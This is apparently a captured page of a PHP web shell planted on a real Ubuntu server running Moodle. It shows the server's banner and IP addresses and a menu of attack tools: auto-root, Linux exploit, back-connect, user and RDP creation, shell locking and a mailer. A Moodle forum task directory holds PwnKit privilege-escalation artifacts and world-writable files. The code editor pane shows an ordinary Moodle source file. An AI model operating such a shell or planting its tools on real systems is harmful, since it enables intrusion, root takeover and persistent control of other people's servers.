Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
forum /
classes /
task /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
cron_task.php
19.45
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
refresh_forum_post_counts.php
2.69
KB
-rwxrwxrwx
send_user_digests.php
21.58
KB
-rwxrwxrwx
send_user_notifications.php
20.85
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : refresh_forum_post_counts.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Adhoc task that updates all of the existing forum_post records with no wordcount or no charcount. * * @package mod_forum * @copyright 2019 David Monllao * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace mod_forum\task; defined('MOODLE_INTERNAL') || die(); /** * Adhoc task that updates all of the existing forum_post records with no wordcount or no charcount. * * @package mod_forum * @copyright 2019 David Monllao * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class refresh_forum_post_counts extends \core\task\adhoc_task { /** * Run the task to populate word and character counts on existing forum posts. * If the maximum number of records are updated, the task re-queues itself, * as there may be more records to process. */ public function execute() { if ($this->update_null_forum_post_counts()) { \core\task\manager::queue_adhoc_task(new refresh_forum_post_counts()); } } /** * Updates null forum post counts according to the post message. * * @return bool Whether there may be more rows to process */ protected function update_null_forum_post_counts(): bool { global $CFG, $DB; // Default to chunks of 5000 records per run, unless overridden in config.php. $chunksize = $CFG->forumpostcountchunksize ?? 5000; // Initialize counter. $recordscount = 0; $select = 'wordcount IS NULL OR charcount IS NULL'; $recordset = $DB->get_recordset_select('forum_posts', $select, null, 'discussion', 'id, message', 0, $chunksize); if (!$recordset->valid()) { $recordset->close(); return false; } foreach ($recordset as $record) { \mod_forum\local\entities\post::add_message_counts($record); $DB->update_record('forum_posts', $record); $recordscount++; } $recordset->close(); return ($recordscount == $chunksize); } }
Close